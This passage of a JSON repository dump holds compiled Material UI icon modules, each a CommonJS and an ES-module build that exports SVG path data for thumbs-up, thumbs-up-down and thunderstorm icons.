    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.11 5.72-.57 2.89c-.12.59.04 1.2.42 1.66s.94.73 1.54.73H20v1.08L17.43 18H9.34c-.18 0-.34-.16-.34-.34V9.82zM14 2 7.59 8.41C7.21 8.79 7 9.3 7 9.83v7.83C7 18.95 8.05 20 9.34 20h8.1c.71 0 1.36-.37 1.72-.97l2.67-6.15c.11-.25.17-.52.17-.8V11c0-1.1-.9-2-2-2h-5.5l.92-4.65c.05-.22.02-.46-.08-.66-.23-.45-.52-.86-.88-1.22zM4 9H2v11h2c.55 0 1-.45 1-1v-9c0-.55-.45-1-1-1\"\n}), 'ThumbUpOffAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpOffAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 21h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-2c0-1.1-.9-2-2-2h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.58 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2M9 9l4.34-4.34L12 10h9v2l-3 7H9zM1 9h4v12H1z\"\n}), 'ThumbUpOffAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpOffAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 21h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-2c0-1.1-.9-2-2-2h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.58 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2M9 9l4.34-4.34L12 10h9v2l-3 7H9zM1 9h4v12H1z\"\n}), 'ThumbUpOffAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpOffAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.12 2.06 7.58 7.6c-.37.37-.58.88-.58 1.41V19c0 1.1.9 2 2 2h9c.8 0 1.52-.48 1.84-1.21l3.26-7.61C23.94 10.2 22.49 8 20.34 8h-5.65l.95-4.58c.1-.5-.05-1.01-.41-1.37-.59-.58-1.53-.58-2.11.01M3 21c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2s-2 .9-2 2v8c0 1.1.9 2 2 2\"\n}), 'ThumbUpOffAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpOffAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.12 2.06 7.58 7.6c-.37.37-.58.88-.58 1.41V19c0 1.1.9 2 2 2h9c.8 0 1.52-.48 1.84-1.21l3.26-7.61C23.94 10.2 22.49 8 20.34 8h-5.65l.95-4.58c.1-.5-.05-1.01-.41-1.37-.59-.58-1.53-.58-2.11.01M3 21c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2s-2 .9-2 2v8c0 1.1.9 2 2 2\"\n}), 'ThumbUpOffAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpOffAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.17 1 7 8.18V21h12.31L23 12.4V8h-8.31l1.12-5.38zM1 9h4v12H1z\"\n}), 'ThumbUpOffAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpOffAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.17 1 7 8.18V21h12.31L23 12.4V8h-8.31l1.12-5.38zM1 9h4v12H1z\"\n}), 'ThumbUpOffAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpOffAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.34 4.66 9 9v10h9l3-7v-2h-8.77z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 8h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.59 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-2c0-1.1-.9-2-2-2m0 4-3 7H9V9l4.34-4.34L12.23 10H21zM1 9h4v12H1z\"\n}, \"1\")], 'ThumbUpOffAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpOffAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.34 4.66 9 9v10h9l3-7v-2h-8.77z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 8h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.59 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-2c0-1.1-.9-2-2-2m0 4-3 7H9V9l4.34-4.34L12.23 10H21zM1 9h4v12H1z\"\n}, \"1\")], 'ThumbUpOffAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 21h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-2c0-1.1-.9-2-2-2h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.58 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2M9 9l4.34-4.34L12 10h9v2l-3 7H9zM1 9h4v12H1z\"\n}), 'ThumbUpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 21h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-2c0-1.1-.9-2-2-2h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.58 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2M9 9l4.34-4.34L12 10h9v2l-3 7H9zM1 9h4v12H1z\"\n}), 'ThumbUpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.12 2.06 7.58 7.6c-.37.37-.58.88-.58 1.41V19c0 1.1.9 2 2 2h9c.8 0 1.52-.48 1.84-1.21l3.26-7.61C23.94 10.2 22.49 8 20.34 8h-5.65l.95-4.58c.1-.5-.05-1.01-.41-1.37-.59-.58-1.53-.58-2.11.01M3 21c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2s-2 .9-2 2v8c0 1.1.9 2 2 2\"\n}), 'ThumbUpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.12 2.06 7.58 7.6c-.37.37-.58.88-.58 1.41V19c0 1.1.9 2 2 2h9c.8 0 1.52-.48 1.84-1.21l3.26-7.61C23.94 10.2 22.49 8 20.34 8h-5.65l.95-4.58c.1-.5-.05-1.01-.41-1.37-.59-.58-1.53-.58-2.11.01M3 21c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2s-2 .9-2 2v8c0 1.1.9 2 2 2\"\n}), 'ThumbUpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.17 1 7 8.18V21h12.31L23 12.4V8h-8.31l1.12-5.38zM1 9h4v12H1z\"\n}), 'ThumbUpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.17 1 7 8.18V21h12.31L23 12.4V8h-8.31l1.12-5.38zM1 9h4v12H1z\"\n}), 'ThumbUpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 12v-2h-9l1.34-5.34L9 9v10h9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 21h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-2c0-1.1-.9-2-2-2h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.58 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2M9 9l4.34-4.34L12 10h9v2l-3 7H9zM1 9h4v12H1z\"\n}, \"1\")], 'ThumbUpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 12v-2h-9l1.34-5.34L9 9v10h9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 21h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-2c0-1.1-.9-2-2-2h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.58 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2M9 9l4.34-4.34L12 10h9v2l-3 7H9zM1 9h4v12H1z\"\n}, \"1\")], 'ThumbUpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbsUpDown.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c0-.55-.45-1-1-1H5.82l.66-3.18.02-.23c0-.31-.13-.59-.33-.8L5.38 0 .44 4.94C.17 5.21 0 5.59 0 6v6.5c0 .83.67 1.5 1.5 1.5h6.75c.62 0 1.15-.38 1.38-.91l2.26-5.29c.07-.17.11-.36.11-.55zm10.5 4h-6.75c-.62 0-1.15.38-1.38.91l-2.26 5.29c-.07.17-.11.36-.11.55V18c0 .55.45 1 1 1h5.18l-.66 3.18-.02.24c0 .31.13.59.33.8l.79.78 4.94-4.94c.27-.27.44-.65.44-1.06v-6.5c0-.83-.67-1.5-1.5-1.5\"\n}), 'ThumbsUpDown');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbsUpDown.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c0-.55-.45-1-1-1H5.82l.66-3.18.02-.23c0-.31-.13-.59-.33-.8L5.38 0 .44 4.94C.17 5.21 0 5.59 0 6v6.5c0 .83.67 1.5 1.5 1.5h6.75c.62 0 1.15-.38 1.38-.91l2.26-5.29c.07-.17.11-.36.11-.55zm10.5 4h-6.75c-.62 0-1.15.38-1.38.91l-2.26 5.29c-.07.17-.11.36-.11.55V18c0 .55.45 1 1 1h5.18l-.66 3.18-.02.24c0 .31.13.59.33.8l.79.78 4.94-4.94c.27-.27.44-.65.44-1.06v-6.5c0-.83-.67-1.5-1.5-1.5\"\n}), 'ThumbsUpDown');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbsUpDownOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c0-.55-.45-1-1-1H5.82l.66-3.18.02-.23c0-.31-.13-.59-.33-.8L5.38 0 .44 4.94C.17 5.21 0 5.59 0 6v6.5c0 .83.67 1.5 1.5 1.5h6.75c.62 0 1.15-.38 1.38-.91l2.26-5.29c.07-.17.11-.36.11-.55zm-2 1.13L7.92 12H2V6.21l1.93-1.93L3.36 7H10zM22.5 10h-6.75c-.62 0-1.15.38-1.38.91l-2.26 5.29c-.07.17-.11.36-.11.55V18c0 .55.45 1 1 1h5.18l-.66 3.18-.02.24c0 .31.13.59.33.8l.79.78 4.94-4.94c.27-.27.44-.65.44-1.06v-6.5c0-.83-.67-1.5-1.5-1.5m-.5 7.79-1.93 1.93.57-2.72H14v-.13L16.08 12H22z\"\n}), 'ThumbsUpDownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbsUpDownOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c0-.55-.45-1-1-1H5.82l.66-3.18.02-.23c0-.31-.13-.59-.33-.8L5.38 0 .44 4.94C.17 5.21 0 5.59 0 6v6.5c0 .83.67 1.5 1.5 1.5h6.75c.62 0 1.15-.38 1.38-.91l2.26-5.29c.07-.17.11-.36.11-.55zm-2 1.13L7.92 12H2V6.21l1.93-1.93L3.36 7H10zM22.5 10h-6.75c-.62 0-1.15.38-1.38.91l-2.26 5.29c-.07.17-.11.36-.11.55V18c0 .55.45 1 1 1h5.18l-.66 3.18-.02.24c0 .31.13.59.33.8l.79.78 4.94-4.94c.27-.27.44-.65.44-1.06v-6.5c0-.83-.67-1.5-1.5-1.5m-.5 7.79-1.93 1.93.57-2.72H14v-.13L16.08 12H22z\"\n}), 'ThumbsUpDownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbsUpDownRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.06 5H5.82l.66-3.18c.08-.37-.04-.75-.3-1.02C5.74.36 5.03.36 4.6.8l-4 4c-.39.37-.6.88-.6 1.41V12c0 1.1.9 2 2 2h5.92c.8 0 1.52-.48 1.84-1.21l2.14-5C12.46 6.47 11.49 5 10.06 5M22 10h-5.92c-.8 0-1.52.48-1.84 1.21l-2.14 5c-.56 1.32.4 2.79 1.84 2.79h4.24l-.66 3.18c-.08.37.04.75.3 1.02.44.44 1.15.44 1.58 0l4-4c.38-.38.59-.88.59-1.41V12c.01-1.1-.89-2-1.99-2\"\n}), 'ThumbsUpDownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbsUpDownRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.06 5H5.82l.66-3.18c.08-.37-.04-.75-.3-1.02C5.74.36 5.03.36 4.6.8l-4 4c-.39.37-.6.88-.6 1.41V12c0 1.1.9 2 2 2h5.92c.8 0 1.52-.48 1.84-1.21l2.14-5C12.46 6.47 11.49 5 10.06 5M22 10h-5.92c-.8 0-1.52.48-1.84 1.21l-2.14 5c-.56 1.32.4 2.79 1.84 2.79h4.24l-.66 3.18c-.08.37.04.75.3 1.02.44.44 1.15.44 1.58 0l4-4c.38-.38.59-.88.59-1.41V12c.01-1.1-.89-2-1.99-2\"\n}), 'ThumbsUpDownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbsUpDownSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5H5.82l.78-3.78L5.38 0 0 5.38V14h9.24L12 7.54zm2.76 5L12 16.46V19h6.18l-.78 3.78L18.62 24 24 18.62V10z\"\n}), 'ThumbsUpDownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbsUpDownSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5H5.82l.78-3.78L5.38 0 0 5.38V14h9.24L12 7.54zm2.76 5L12 16.46V19h6.18l-.78 3.78L18.62 24 24 18.62V10z\"\n}), 'ThumbsUpDownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbsUpDownTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c0-.55-.45-1-1-1H5.82l.66-3.18.02-.23c0-.31-.13-.59-.33-.8L5.38 0 .44 4.94C.17 5.21 0 5.59 0 6v6.5c0 .83.67 1.5 1.5 1.5h6.75c.62 0 1.15-.38 1.38-.91l2.26-5.29c.07-.17.11-.36.11-.55zm-2 1.13L7.92 12H2V6.21l1.93-1.93L3.36 7H10zM22.5 10h-6.75c-.62 0-1.15.38-1.38.91l-2.26 5.29c-.07.17-.11.36-.11.55V18c0 .55.45 1 1 1h5.18l-.66 3.18-.02.24c0 .31.13.59.33.8l.79.78 4.94-4.94c.27-.27.44-.65.44-1.06v-6.5c0-.83-.67-1.5-1.5-1.5m-.5 7.79-1.93 1.93.57-2.72H14v-.13L16.08 12H22z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.93 4.28 2 6.21V12h5.92L10 7.13V7H3.36zM14 16.87V17h6.64l-.57 2.72L22 17.79V12h-5.92z\",\n  opacity: \".3\"\n}, \"1\")], 'ThumbsUpDownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbsUpDownTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c0-.55-.45-1-1-1H5.82l.66-3.18.02-.23c0-.31-.13-.59-.33-.8L5.38 0 .44 4.94C.17 5.21 0 5.59 0 6v6.5c0 .83.67 1.5 1.5 1.5h6.75c.62 0 1.15-.38 1.38-.91l2.26-5.29c.07-.17.11-.36.11-.55zm-2 1.13L7.92 12H2V6.21l1.93-1.93L3.36 7H10zM22.5 10h-6.75c-.62 0-1.15.38-1.38.91l-2.26 5.29c-.07.17-.11.36-.11.55V18c0 .55.45 1 1 1h5.18l-.66 3.18-.02.24c0 .31.13.59.33.8l.79.78 4.94-4.94c.27-.27.44-.65.44-1.06v-6.5c0-.83-.67-1.5-1.5-1.5m-.5 7.79-1.93 1.93.57-2.72H14v-.13L16.08 12H22z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.93 4.28 2 6.21V12h5.92L10 7.13V7H3.36zM14 16.87V17h6.64l-.57 2.72L22 17.79V12h-5.92z\",\n  opacity: \".3\"\n}, \"1\")], 'ThumbsUpDownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Thunderstorm.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.92 7.02C17.45 4.18 14.97 2 12 2 9.82 2 7.83 3.18 6.78 5.06 4.09 5.41 2 7.74 2 10.5 2 13.53 4.47 16 7.5 16h10c2.48 0 4.5-2.02 4.5-4.5 0-2.34-1.79-4.27-4.08-4.48M14.8 17l-2.9 3.32 2 1L11.55 24h2.65l2.9-3.32-2-1L17.45 17zm-6 0-2.9 3.32 2 1L5.55 24H8.2l2.9-3.32-2-1L11.45 17z\"\n}), 'Thunderstorm');"
  },
  {
    "path": "packages/mui-icons-material/lib/Thunderstorm.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.92 7.02C17.45 4.18 14.97 2 12 2 9.82 2 7.83 3.18 6.78 5.06 4.09 5.41 2 7.74 2 10.5 2 13.53 4.47 16 7.5 16h10c2.48 0 4.5-2.02 4.5-4.5 0-2.34-1.79-4.27-4.08-4.48M14.8 17l-2.9 3.32 2 1L11.55 24h2.65l2.9-3.32-2-1L17.45 17zm-6 0-2.9 3.32 2 1L5.55 24H8.2l2.9-3.32-2-1L11.45 17z\"\n}), 'Thunderstorm');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThunderstormOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.92 7.02C17.45 4.18 14.97 2 12 2 9.82 2 7.83 3.18 6.78 5.06 4.09 5.41 2 7.74 2 10.5 2 13.53 4.47 16 7.5 16h10c2.48 0 4.5-2.02 4.5-4.5 0-2.34-1.79-4.27-4.08-4.48M17.5 14h-10C5.57 14 4 12.43 4 10.5c0-1.74 1.31-3.23 3.04-3.46l.99-.13.49-.87C9.23 4.78 10.56 4 12 4c1.94 0 3.63 1.44 3.95 3.35l.25 1.52 1.54.14c1.27.12 2.26 1.21 2.26 2.49 0 1.38-1.12 2.5-2.5 2.5m-2.7 3-2.9 3.32 2 1L11.55 24h2.65l2.9-3.32-2-1L17.45 17zm-6 0-2.9 3.32 2 1L5.55 24H8.2l2.9-3.32-2-1L11.45 17z\"\n}), 'ThunderstormOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThunderstormOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.92 7.02C17.45 4.18 14.97 2 12 2 9.82 2 7.83 3.18 6.78 5.06 4.09 5.41 2 7.74 2 10.5 2 13.53 4.47 16 7.5 16h10c2.48 0 4.5-2.02 4.5-4.5 0-2.34-1.79-4.27-4.08-4.48M17.5 14h-10C5.57 14 4 12.43 4 10.5c0-1.74 1.31-3.23 3.04-3.46l.99-.13.49-.87C9.23 4.78 10.56 4 12 4c1.94 0 3.63 1.44 3.95 3.35l.25 1.52 1.54.14c1.27.12 2.26 1.21 2.26 2.49 0 1.38-1.12 2.5-2.5 2.5m-2.7 3-2.9 3.32 2 1L11.55 24h2.65l2.9-3.32-2-1L17.45 17zm-6 0-2.9 3.32 2 1L5.55 24H8.2l2.9-3.32-2-1L11.45 17z\"\n}), 'ThunderstormOutlined');"
  },
  {
